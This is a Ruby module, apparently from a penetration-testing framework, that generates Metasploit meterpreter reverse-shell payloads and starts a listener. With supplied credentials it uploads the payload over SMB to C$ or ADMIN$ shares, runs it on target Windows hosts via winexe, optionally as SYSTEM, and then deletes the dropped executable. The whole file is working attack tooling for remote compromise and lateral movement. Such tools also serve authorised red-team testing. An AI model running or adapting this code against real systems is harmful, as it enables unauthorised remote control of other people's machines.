require 'poet'
require 'lib_meta'

class Remoteaccess < Poet::Scanner
	include Lib_meta
	self.mod_name = "Remote system access"
	self.description = "Create, obsufucate, upload, and execute a payload on target(s)."
	self.invasive = true
  self.title = 'Remote Access generation'

	def setup
		# Print title
		puts 

		payloads = {
			1 => 'windows/meterpreter/reverse_http',
			2 => 'windows/meterpreter/reverse_https',
			3 => 'windows/meterpreter/reverse_tcp',
			4 => 'windows/meterpreter/reverse_tcp_dns',
			5 => 'Other Windows Payload',
			6 => 'Custom payload and rc file',
		}

		payloads.each { |x,y|
			puts "    #{x}) #{y}"
		}
		puts

		lhost, lport = '',''

		# Selection for payload
		selection = ''
		until (1..payloads.length).member?(selection.to_i)
			print "Select payload [#{color_banner('1')}] : "
			selection = rgets
			selection = 1 if selection.empty?
		end
		payload = payloads[selection.to_i]
		puts

		# Determine what to do depending on selection
		if payload =~ /^windows\//
			if payload.eql? 'windows/meterpreter/reverse_tcp_dns'
				lhost, lport = get_meter_data(true)
			else
				lhost, lport = get_meter_data
			end
			rc = create_rc(payload, lhost, lport)
			create_handler(rc)
			@final_payload, payload_hash = build_payload(payload, lhost, lport)
			@logger.info("Payload hash: #{payload_hash}")

		elsif payload =~ /^Other Windows/
			# Get the name of the other payload to use
			win_payload = ''
			while win_payload.empty?
				print("Enter a windows payload to use: ")
				win_payload = rgets.downcase
			end
			lhost, lport = get_meter_data
			rc = create_rc(win_payload, lhost, lport)
			create_handler(rc)
			@final_payload, payload_hash = build_payload(payload, lhost, lport)
			@logger.info("Payload hash: #{payload_hash}")

		elsif payload =~ /^Custom/
			# Grab path to payload
			custom_payload = ""
			until File.exists? custom_payload
				print("Enter the path of the custom payload [#{color_banner('EX: /root/evil.exe')}]")
				custom_payload = rgets(" : ").chomp
			end
			@final_payload = custom_payload

			# Is a handler already running?
			rc_exists = ''
			while true
				print("Is a handler already running? [#{color_banner('y')}|#{color_banner('n')}]")
				rc_exists = rgets(" : ").chomp.downcase
				break if rc_exists.eql? 'y' or rc_exists.eql? 'n'
			end

			# Input path to resouce script
			if rc_exists.eql? 'n'
				rc_script = ""
				until File.exists? rc_script
					print("Enter path of resource script for handler [#{color_banner('EX: /root/handler.rc')}]")
					rc_script = rgets(" : ").chomp
				end
				create_handler(rc_script)
			end
		end
		puts

		display_path = "\\Windows\\TEMP"
		@dollar = true

		bad_share_chars = Regexp.quote('"/\[]:|<>+;,?*=')

		# Normalize Share letter and check validity
		while true
			print "Enter the Share to upload the payload #{color_banner('[C$]')}: "
			@share = rgets.upcase
			if @share.empty?
				@share = "C$"
				break
			elsif @share =~ /[#{bad_share_chars}]/
				print_warning("Provided share name conitains bad character(s) - #{bad_share_chars}")
			elsif not @share.include? "$"
				@dollar = false
				display_path = "\\"
				break
			elsif @share.eql? "ADMIN$"
				display_path = "\\TEMP"
				break
			else
				break
			end
		end

		# Get valid path
		while true
			print "Enter the Path to upload the payload (\\ for root) [#{color_banner(display_path)}] : "
			@drop_path = rgets
			if @drop_path =~ /^\\$/
				@drop_path = ''
				break
			elsif @drop_path =~ /^\\/
				break
			elsif @drop_path.empty?
				@drop_path = display_path
				break
			else
				print_bad("Valid path required")
			end
		end
		puts

		# run as user or system
		@sys = ''
		until @sys.eql? 'y' or @sys.eql? 'n'
			print("Do you want to execute as SYSTEM [#{color_banner('y')}|#{color_banner('n')}]")
			@sys = rgets(" : ").downcase
		end
		puts

		# Kill timeout for this since it is long running.
		@timeout = 0
	end

	def run(username, password, host)
		# Check if access exists to share
		if check4remotelogin(username, password, host, @share)
			file_name = "#{random_name}.exe"
			print_status("#{host.ljust(15)} - Uploading #{file_name}")
			smboptions = "//#{host}/#{@share} -c"
			smbcmd = "put #{@final_payload} #{@drop_path}\\#{file_name}; showconnect"
			drop = smbclient(smboptions, smbcmd)

			# Define here to allow wmic to check shares
			winoptions = " //#{host}"

			windelcmd = "cmd /C del "
			if drop =~ /^\/\/#{host}\//
				if @share.eql? "ADMIN$"
					# If the share is the admin share the prepend is required for it to work
					winexecmd = "cmd /C C:\\Windows#{@drop_path}\\#{file_name}"
					windelcmd << "C:\\Windows#{@drop_path}\\#{file_name}"
				elsif @share =~ /^[CE-Z]\$$/
					winexecmd = "cmd /C #{@share.chomp('$')}: && #{@drop_path.chomp('\\')}\\#{file_name}"
					windelcmd << "#{@share.chomp('$')}:#{@drop_path.chomp('\\')}\\#{file_name}"
				else
					if not @dollar

						# Use WMI to get physical path of share
						wmi_path = ''
						wmi_share = smbwmic(winoptions, "select name,path from win32_share")
						
						# If WMI completes successfully
						if wmi_share =~ /CLASS: Win32_Share/
							wmi_share.each_line do |line|
								if line.include? '|'
									# Split shares and identify physical path
									sline = line.split('|')
									if sline[0].upcase.eql? @share
										wmi_path = sline[1].split(':')
										winexecmd = "cmd /C #{wmi_path[0]}: && #{wmi_path[1].chomp}\\#{file_name}"
										windelcmd << "#{wmi_path[0]}:\\#{wmi_path[1].chomp}\\#{file_name}"
										break
									end
								end
							end
							return if winexecmd.empty?
						else
							print_bad("#{host.ljust(15)} - WMI Call failed, could not identify share path.")
							return
						end
					else
						puts @dollar
						# Handle shares with $ that arent default shares
					end
				end

				winoptions = "--system #{winoptions}" if @sys.eql? 'y'
				
				unless winexecmd.empty?
					uploaded_payload = winexe(winoptions, winexecmd)
					winoptions << " --uninstall"
					# Add in sleep for payload if crypter is used to prevent issues
					sleep_time = Menu.extbin[:crypter] ? 90 : 30
					sleep sleep_time
					delete_payload = winexe(winoptions,windelcmd)
				end
			end
		else
			print_warning("#{host.ljust(15)} - No access to #{@share}")
		end
	end

	def finish
		puts
		# Return to menu
		print "Press enter to return to Exploitation Menu"
		gets
	end
end
